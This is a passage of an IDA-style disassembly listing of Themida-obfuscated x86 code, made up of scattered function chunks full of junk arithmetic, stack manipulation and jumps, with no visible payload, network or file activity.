; START	OF FUNCTION CHUNK FOR sub_58F013


loc_58DA19:				; CODE XREF: sub_58F013-24B6j
		pop	[esp+4+var_4]
		pop	esp
		mov	word ptr [esp-4+arg_0],	cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58F013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58DA2D:				; CODE XREF: sub_58C17E+A5D6j
		sub	eax, 0C3F6E80Eh
		add	ebp, eax
		pop	eax
		pop	esi
		jmp	loc_596786
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58DA3B:				; CODE XREF: sub_590467+6845j
		add	esp, 4
		shr	bh, 3
		jmp	loc_58B37B
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_591FE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58DA5E:				; CODE XREF: sub_5EC2E8-550B3j
		shr	esi, 5
		sub	esi, 376B4C87h
		shl	esi, 7
		shl	esi, 1
		jmp	sub_597716
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58DA71:				; CODE XREF: Themida_:00595852j
		add	ebx, 0C94A314Bh
		mov	edx, ebx
		pop	ebx
		or	edx, 7F884BFFh
		shl	edx, 4
		shr	edx, 1
		xor	edx, 5C1D6C58h
		jmp	loc_592AE5
; ---------------------------------------------------------------------------


loc_58DA90:				; CODE XREF: Themida_:0058B227j
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_590A2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58DA99:				; CODE XREF: Themida_:0058BB7Dj
					; sub_5916C4+633j
		pop	edi
		jmp	loc_59547B
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58DA9F:				; CODE XREF: sub_5EC2E8:loc_58B72Cj
					; Themida_:0058D9C3j
		pop	ebx
		add	edx, ebx
		pop	ebx
		xor	edx, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], edx
		xor	edx, [esp+1Ch+var_1C]
		pop	esp
		push	17FBh
		mov	[esp+1Ch+var_1C], ecx
		push	esi
		mov	esi, 23522C9Dh
		xchg	ebp, esi
		xchg	esi, ebp
		push	esi
		not	[esp+24h+var_24]
		jmp	loc_58BF3F
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DBC4


loc_58DAC8:				; CODE XREF: sub_58DBC4+29C9j
		pop	eax
		mov	ebp, [esp-8+arg_0]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-8+arg_0]
		pop	esp
		mov	[esp-0Ch+arg_4], ebp
		push	esi
		mov	esi, 100h
		mov	ebp, esi
		push	[esp-8+arg_0]
		pop	esi
		sub	esp, 4
		mov	[esp+0], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_594127
; END OF FUNCTION CHUNK	FOR sub_58DBC4
; ---------------------------------------------------------------------------


loc_58DB19:				; CODE XREF: Themida_:0058B63Dj
		not	ch
		push	eax
		mov	ah, 9Dh
		add	ah, 0C6h
		jmp	loc_58CF73
; ---------------------------------------------------------------------------


loc_58DB26:				; CODE XREF: Themida_:00591DC1j
		xor	ecx, 1FA82FFAh
		add	ecx, 1
		xor	ecx, 5A396A6Ah
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5957E3
; ---------------------------------------------------------------------------


loc_58DB45:				; CODE XREF: Themida_:00594517j
		mov	ecx, [esp]
		jmp	loc_597C37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58DB4D:				; CODE XREF: sub_58F5B5-190j
					; sub_592D25-2EB9j
		add	esi, 78317A10h
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		jmp	sub_590467
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58DB5E:				; CODE XREF: Themida_:00590ED8j
		push	ebp
		jmp	loc_5948DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58DB64:				; CODE XREF: sub_58C17E+2398j
		or	ch, 9Dh
		jmp	loc_58BD94
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58DB6C:				; CODE XREF: sub_5919E2-E49j
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_58D05B
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58DB75:				; CODE XREF: sub_595E21:loc_58F831j
		or	edx, 62D86549h
		push	edi
		jmp	loc_596124
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_58DB81:				; CODE XREF: sub_591059-5E9Fj
		push	dword ptr [esp+0]
		jmp	loc_590D7F
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_58DB89:				; CODE XREF: Themida_:0058E5C1j
		jmp	loc_5958DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58DB8E:				; CODE XREF: Themida_:0058CE2Ej
					; sub_59762D+1FCj
		mov	esi, 4
		push	ebp
		mov	ebp, 58ED49F9h
		inc	ebp
		inc	ebp
		add	ebp, 15501BE4h
		jmp	loc_5954FD
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58DBA6:				; CODE XREF: sub_58F5B5+41B3j
		add	esp, 4
		add	bl, 69h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp-8+arg_4]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58D0E0
; END OF FUNCTION CHUNK	FOR sub_58F5B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58DBC4	proc near		; CODE XREF: sub_58F091-2422j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058C119 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058C97F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DAC8 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 00590560 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00591800 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00592E29 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00594127 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594466 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		shr	ecx, 0
		jmp	loc_591800
sub_58DBC4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58DBDF:				; CODE XREF: sub_58F5B5-1F90j
		jmp	loc_58C5E0
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58DBE4:				; CODE XREF: Themida_:00597A2Ej
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], cx
		mov	cx, 718Dh
		xor	di, cx
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		jmp	loc_59801F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D0EB


loc_58DC19:				; CODE XREF: sub_58D0EB+1j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	sub_58F277
; END OF FUNCTION CHUNK	FOR sub_58D0EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58DC29:				; CODE XREF: sub_590010-382j
		mov	edx, 0F94A89D4h
		add	edx, edi
		pop	edi
		jmp	loc_590D93
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58DC36:				; CODE XREF: sub_5EC2E8-569F6j
		add	cl, 6Eh
		xor	dh, cl
		pop	ecx
		mov	ah, dh
		pop	edx
		dec	ah
		or	ah, 0DAh
		jmp	loc_58D85C
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58DC49:				; CODE XREF: Themida_:00590990j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	al, dh
		mov	dx, [esp]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 44405C3Fh
		push	dword ptr [esp]
		jmp	loc_58EE4C
; ---------------------------------------------------------------------------


loc_58DC7A:				; CODE XREF: Themida_:0058E393j
		inc	edi
		jz	loc_597887
		push	ebx
		jmp	sub_5951B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58DC87:				; CODE XREF: sub_58C17E+365Fj
		add	edx, 0A4B796FBh
		mov	edi, edx
		pop	edx
		sub	ebp, edi
		jmp	loc_593000
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338C


loc_58DC97:				; CODE XREF: sub_59338C-5ECEj
		add	ebx, 2E3970AFh
		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_58BA80
; END OF FUNCTION CHUNK	FOR sub_59338C
; ---------------------------------------------------------------------------


loc_58DCA8:				; CODE XREF: Themida_:0058C5B9j
		mov	dl, 1
		add	bl, dl
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58F19A
; ---------------------------------------------------------------------------


loc_58DCB5:				; CODE XREF: Themida_:0058B727j
		sub	esp, 4
		jmp	loc_590E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58DCC0:				; CODE XREF: sub_5916C4+4065j
					; Themida_:00596806j
		pop	ebp
		xor	edx, ecx
		jmp	loc_596BBC
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_58DCC8:				; CODE XREF: sub_58D99C+7j
		push	0A52h
		mov	[esp+8+var_8], ebx
		jmp	loc_58EB80
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------


loc_58DCD5:				; CODE XREF: Themida_:0058FDA7j
		sub	ebx, 0CF1CFB3Ah
		jmp	loc_58C9E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58DCE0:				; CODE XREF: sub_5EC2E8-5B491j
		push	esi
		pop	eax
		jmp	loc_5960D9
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58DCE7:				; CODE XREF: sub_5938B9+3659j
		sub	edx, 839639D8h
		jmp	loc_58E321
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58DCF2:				; CODE XREF: Themida_:0058AE1Cj
		and	ebp, 8F0ABDh
		inc	ebp
		push	eax
		jmp	loc_59544F
; ---------------------------------------------------------------------------


loc_58DCFF:				; CODE XREF: Themida_:00597268j
		pop	edx
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_5976A8
; ---------------------------------------------------------------------------


loc_58DD0B:				; CODE XREF: Themida_:0058AE35j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_58A2F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58DD16:				; CODE XREF: sub_590010+43j
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 77052F73h
		or	esi, 58910AC7h
		not	esi
		shl	esi, 6
		jnp	loc_597EAB
		xor	esi, 55980443h
		add	eax, esi
		jmp	loc_58F7FE
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58DD46:				; CODE XREF: Themida_:005971C5j
		js	loc_58BC9A
		jmp	loc_5956E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58DD51:				; CODE XREF: sub_5916C4-4155j
		shl	bl, 1
		jns	loc_58BE32
		sub	bl, 8
		mov	ch, bl
		jmp	loc_594A46
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		and	dh, 0D1h
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58DD66:				; CODE XREF: sub_5916C4+12B4j
		and	ebp, 48284B69h
		jmp	loc_596109
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	374h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 0D413D04h
		push	edi
		jmp	loc_58D24D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58DD99:				; CODE XREF: sub_590010-18E7j
		pop	edi
		pop	esi
		jmp	loc_58F784
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58DDA0:				; CODE XREF: Themida_:0058FC5Bj
		add	esp, 4
		jmp	loc_58DE1C
; ---------------------------------------------------------------------------


loc_58DDAB:				; CODE XREF: Themida_:0058D5C8j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_593BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E980


loc_58DDBC:				; CODE XREF: sub_58E980+48EEj
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58E980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58DDC1:				; CODE XREF: sub_5EC2E8-5A35Dj
		push	edi
		mov	edi, 4
		jmp	loc_58C717
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58DDCC:				; CODE XREF: sub_590467-368Ej
		push	[esp-6+arg_4+2]
		jmp	loc_592845
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58DDD5:				; CODE XREF: sub_590010+2C3Cj
		add	[esp-4+arg_0], 735F566Dh
		mov	ebx, [esp-4+arg_0]
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_58C28C
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58DDE8:				; CODE XREF: Themida_:00591E0Cj
		xor	esi, 0D066F37h
		jp	loc_58F27D
		shr	esi, 1
		jnp	loc_5947DC
		mov	esi, edx
		mov	ecx, ebx


loc_58DE00:				; CODE XREF: Themida_:00591C3Ej
		sub	ecx, 782740ADh
		jns	loc_5945D0
		shr	ecx, 3
		xor	ecx, 39B0A706h
		mov	eax, ecx
		jmp	loc_58C2A8
; ---------------------------------------------------------------------------


loc_58DE1C:				; CODE XREF: Themida_:0058DDA6j
		neg	ebx
		js	loc_5944C8
		jmp	loc_594490
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4EA7h
		push	ebp


loc_58DE33:				; CODE XREF: Themida_:0058BF02j
		add	edi, 5CAB0E09h
		xor	edi, 84EB42C9h
		add	ebx, 6F41586Bh
		add	ebx, edi
		sub	ebx, 6F41586Bh
		pop	edi
		jmp	loc_59427D
; ---------------------------------------------------------------------------


loc_58DE53:				; CODE XREF: Themida_:0058F946j
		inc	eax
		jz	loc_5940F3
		jmp	loc_591E21
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58DE67:				; CODE XREF: Themida_:0058C621j
		shr	esi, 3
		not	esi
		jmp	loc_592CF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58DE71:				; CODE XREF: sub_590467+62C5j
		neg	ebp
		add	ebp, 0A595056h
		xor	ebp, 2401E45h
		xor	ebp, 8A1D3027h
		add	edx, ebp
		jmp	loc_5945A6
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58DE8C:				; CODE XREF: sub_592D25+AA5j
		push	esi
		jmp	loc_591162
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_58DE92:				; CODE XREF: Themida_:0058C915j
		xor	eax, 7607DFB4h
		shr	eax, 4
		jmp	loc_596E5D
; ---------------------------------------------------------------------------


loc_58DE9F:				; CODE XREF: Themida_:00595218j
		mov	esi, 4E185CBDh
		jmp	loc_5949AF
; ---------------------------------------------------------------------------


loc_58DEA9:				; CODE XREF: Themida_:005905E3j
		push	ebp
		jmp	loc_590EA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58DEAF:				; CODE XREF: sub_59762D-2310j
		mov	dh, bl
		pop	ebx
		pop	eax
		sub	esp, 2
		jmp	loc_5912E1
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58DEBB:				; CODE XREF: sub_5916CB-B60j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		jmp	loc_5969EA
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_58DED8:				; CODE XREF: sub_595BDA+2273j
		jnz	loc_593E3F
		jmp	loc_58E5FA
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
		pop	edx
		push	ebp
		xor	dword ptr [esp], 64F20A58h
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58DEED:				; CODE XREF: sub_58F5B5-3A67j
		xchg	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], eax
		sub	esp, 4
		jmp	loc_58B2FC
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58DF01:				; CODE XREF: Themida_:loc_58C0B5j
		jmp	loc_5903A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58DF06:				; CODE XREF: sub_59524C-6E57j
		pop	edx
		jmp	loc_58E132
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58DF0C:				; CODE XREF: sub_58B4D6+5C23j
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebx
		mov	ebx, 7D2928DAh
		jmp	loc_596B2F
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58DF20:				; CODE XREF: sub_5916CB+4A7Dj
		xchg	edi, [esp+0]
		jmp	loc_58CEB1
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		mov	edi, 40746DD8h
		add	edi, 0DE80AA4Ch
		jmp	loc_5937CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58DF3A:				; CODE XREF: sub_595123-1E8Fj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_59502C
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_58DF4E:				; CODE XREF: sub_591059-4E4Ej
		add	esi, 0C53D106Ah
		sub	ebx, esi
		jmp	loc_58B6C0
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58DF5B:				; CODE XREF: sub_5938B9-57A2j
		push	0FE1h
		mov	[esp-0Ch+arg_8], esi
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		sub	esp, 4
		mov	[esp-4+arg_0], esi
		jmp	loc_596D04
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58DF77:				; CODE XREF: Themida_:00597A05j
		mov	bh, 0B0h
		xor	ah, bh
		pop	ebx
		add	bl, ah
		pop	eax
		xor	bl, 0F2h
		jl	loc_5911CF
		push	ecx
		mov	ch, 2
		push	eax
		mov	al, ch
		not	al
		mov	ch, al
		pop	eax
		push	bx


loc_58DF95:				; CODE XREF: Themida_:0059116Bj
					; Themida_:005934AFj
		push	esi
		mov	esi, 34187E85h
		jmp	loc_595A25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58DFA0:				; CODE XREF: sub_5916C4-6AD6j
		pop	edx
		and	[edi+1Ch], ecx
		push	[esp-8+arg_4]
		jmp	loc_590497
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58DFAC:				; CODE XREF: sub_595258-8BCBj
		pop	ecx
		jmp	loc_594868
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59089C


loc_58DFB2:				; CODE XREF: sub_59089C+3084j
		mov	[esp+4+var_4], edi
		sub	esp, 4
		jmp	loc_58EF99
; END OF FUNCTION CHUNK	FOR sub_59089C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58DFBD:				; CODE XREF: sub_5916C4+300Cj
		jmp	loc_58E3B4
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58DFC2:				; CODE XREF: sub_595258+1EC6j
		neg	[esp+8+var_8]
		push	[esp+8+var_8]
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_591B8F
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------


loc_58DFD0:				; CODE XREF: Themida_:005960D4j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58DFD5:				; CODE XREF: sub_58C17E+23A1j
		add	ch, 0BBh
		sub	bl, ch
		jmp	loc_58C360
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59590E


loc_58DFDF:				; CODE XREF: sub_59590E-EDFj
		mov	esp, [esp+0]
		sub	[esp-4+arg_0], ax
		pushf
		jmp	loc_58E8A5
; END OF FUNCTION CHUNK	FOR sub_59590E
; ---------------------------------------------------------------------------


loc_58DFEC:				; CODE XREF: Themida_:0058CC2Aj
		add	esi, edx
		pop	edx
		pop	ebx
		jmp	loc_58A3A9
; ---------------------------------------------------------------------------


loc_58DFF5:				; CODE XREF: Themida_:0059219Bj
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	399Eh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_596DBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58E019:				; CODE XREF: sub_58C17E+5EC7j
		sub	ecx, 0BB2A04F5h
		push	ecx
		add	[esp+4+var_4], 6DD019Bh
		jmp	loc_58C41D
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58E02C:				; CODE XREF: Themida_:0058E4D2j
		shr	ebx, 5
		js	loc_5949D3
		xor	ebx, 5471A2B7h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 68151C07h
		push	ebx
		mov	ebx, 23CD6306h
		dec	ebx
		xor	ebx, 70690093h
		jmp	loc_58FA45
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		sub	dword ptr [esp], 542F23F9h
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_5939B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58E06E:				; CODE XREF: sub_590467-5051j
					; Themida_:00593210j ...
		pop	ebp
		add	esp, 4
		jmp	loc_592127
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58E077:				; CODE XREF: sub_58F5B5+6898j
		xor	al, bh
		mov	ebx, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		push	eax
		mov	al, 0Bh
		add	al, 5Eh
		sub	bl, al
		pop	eax
		push	dx
		push	ebx
		mov	bh, 0EBh
		mov	dh, 0C3h
		add	dh, bh
		pop	ebx
		add	bl, dh
		jmp	loc_58F79C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58E0A8:				; CODE XREF: Themida_:0058C893j
		push	esi
		mov	esi, 1E9E7A74h
		xor	esi, 1E9E7A70h
		add	eax, esi
		pop	esi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_592D6F

; =============== S U B	R O U T	I N E =======================================



sub_58E0C4	proc near		; CODE XREF: Themida_:0058A9C5j
					; sub_590010+5FDBj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059000C SIZE 00000004 BYTES
; FUNCTION CHUNK AT 005972BC SIZE 00000012 BYTES

		push	ebx
		push	esp
		jmp	loc_5972BC
sub_58E0C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58E0CB:				; CODE XREF: sub_595123-6AFAj
		or	edi, 54A513FBh
		push	edx
		mov	edx, 7E6AFFACh
		add	edi, edx
		pop	edx
		push	edi
		jmp	loc_58EDF3
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58E0E0:				; CODE XREF: sub_58B4D6+373Ej
		sub	ebp, 87475084h
		jmp	loc_59094E
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_58E0EB:				; CODE XREF: Themida_:0058C4E4j
					; Themida_:0058FDD5j
		pop	ebx
		jmp	loc_596F48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59089C


loc_58E0F1:				; CODE XREF: sub_59089C+FF6j
		pop	edi
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		xor	edx, edx
		jmp	loc_59391B
; END OF FUNCTION CHUNK	FOR sub_59089C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58E115:				; CODE XREF: sub_5938B9+33Dj
		pop	eax
		std
		jmp	loc_58DF5B
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D12


loc_58E11C:				; CODE XREF: sub_592D12-851Ej
		sub	eax, 309F7A81h
		jmp	loc_58C927
; END OF FUNCTION CHUNK	FOR sub_592D12
; ---------------------------------------------------------------------------


loc_58E126:				; CODE XREF: Themida_:005934DDj
		shl	bh, 1
		add	bh, 0Fh
		inc	bh
		jmp	loc_58E71E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58E132:				; CODE XREF: sub_59524C-7345j
		shl	ebx, 6
		push	ebx
		inc	[esp+4+var_4]
		pop	ebx
		push	esi
		mov	esi, 0AB158541h
		jmp	loc_59125D
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58E145:				; CODE XREF: sub_58C17E+97Dj
		xchg	edx, [esp+0Ah+var_C+2]
		jmp	loc_58C1D7
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58E14D:				; CODE XREF: Themida_:loc_58F636j
		xor	ah, 41h
		mov	dl, ah
		pop	eax
		xchg	bl, dl
		not	bl
		jmp	loc_592F48
; ---------------------------------------------------------------------------


loc_58E15C:				; CODE XREF: Themida_:00593760j
		mov	[esp], ebx
		mov	ebx, 79C86DCDh
		push	ecx
		mov	ecx, 0AA06F6Bh
		and	ecx, 48921D29h
		jmp	loc_58FC44
; ---------------------------------------------------------------------------
